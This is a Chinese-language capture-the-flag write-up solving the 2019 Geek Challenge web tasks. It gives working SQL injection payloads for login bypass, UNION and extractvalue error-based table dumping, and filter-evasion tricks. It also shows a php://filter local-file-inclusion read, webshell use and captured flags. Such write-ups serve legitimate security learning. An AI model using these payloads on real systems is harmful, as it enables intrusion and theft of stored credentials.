2019极客大挑战web
[极客大挑战 2019]EasySQL
万能密码直接出
1 | 1' and '1' = '1 |
[极客大挑战 2019]LoveSQL
首先查出单引号报错
尝试用万能密码登录,发现只是一个无用的值,CMD5网站也无法破解,尝试其他方法

尝试中断注入,联合注入查看其他信息可以看到用到了查询的第2,3个字段
1
1' and 1=2 union select 1,2,3 #
获取当前数据库名,回显出当前数据库名为
geek
1
1' and 1=2 union select 1,database(),version() #
查询数据库里面的表名称
1
2
3
4
5# 查询所有表名
select table_name from information_schema.tables where table_schema = 'database_name'
# 查询所有列名
select column_name from information_schema.columns where table_name= '表名' and table_schema= '数据库名'这里需要加上limit限制返回的列数,手工查出
geek
数据库下只有两个表:geekuser
和l0ve1ysq1
1
1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = 'geek' limit 0,1 #
查询表的列名,我当时是一个一个查的,看别人wp发现可以一次就全部查出来。。查出三个列名称
1
select column_name from information_schema.columns where table_name= '表名' and table_schema= '数据库名'
1
1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'
获取数据库中信息
我先是手工查,后面加了一个where语句条件就直接出了。。运气好,网上师傅wp都是把表中的数据全部荡下来。学习一手
1
1' and 1=2 union select 1,username,password from l0ve1ysq1 where username = 'flag' #
网上师傅的做法,对mysql中的函数一点都不熟悉,边sqli边学mysql函数吧。。
1
1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1 #
[极客大挑战 2019]BabySQL
考点:绕过特殊字符过滤
过滤了or,and,select,union,from这些关键字,用所有关键字用双写绕过,过程和LoveSQL过程一样
[极客大挑战 2019]HardSQL
考点:SQL报错注入
过滤了空格,等号,union,and等字符,主要难点在于空格过滤绕过,需要用括号来绕过
爆库
1
username=123&password=1'^extractvalue(1,concat(0x5e,(select(database()))))%23
爆表
1
username=123&password=1'^extractvalue(1,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
爆字段名
1
username=123&password=1%27^extractvalue(1,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
查flag
需要用left和right分别查左边和右边,然后个flag拼接
1
username=123&password=1%27^extractvalue(1,concat(0x5e,(select(left(password,30))from(H4rDsq1)where(username)like('flag'))))%23
1
username=123&password=1%27^extractvalue(1,concat(0x5e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))))%23
1
flag{c36b7fc4-a9fe-4d02-97c6-d3c8b35ead69}
[极客大挑战 2019]FinalSQL
SQL盲注
[极客大挑战 2019]Secret File
考点:本地文件包含,PHP伪协议
抓包抓到一个特殊文件,访问目录查看

查看为本地文件包含,但是访问flag.php却什么也没有。使用php://filter协议对文件进行base64编码查看
1 | 访问后缀:secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php |
flag.php
中的内容全部以base64编码的形式输出,在线解码得到flag
1 | PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MWZkYzRlMDItODU1MS00ZTY3LThkNzUtZmY3ZDkzZDJmNjg5fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo= |
[极客大挑战 2019]Knife
一句话木马,直接用蚁剑连接网站后台,flag
在根目录

[极客大挑战 2019]PHP
考察网站常用备份后缀名,PHP的序列化与反序列化
首先提示了网站备份,用常用的网站备份字典爆破,爆破出www.zip
,在后缀输入下载
[极客大挑战 2019]Http
HTTP头部伪造,比较过程比较简单,主要是需要学习HTTP协议
/sbin/nologin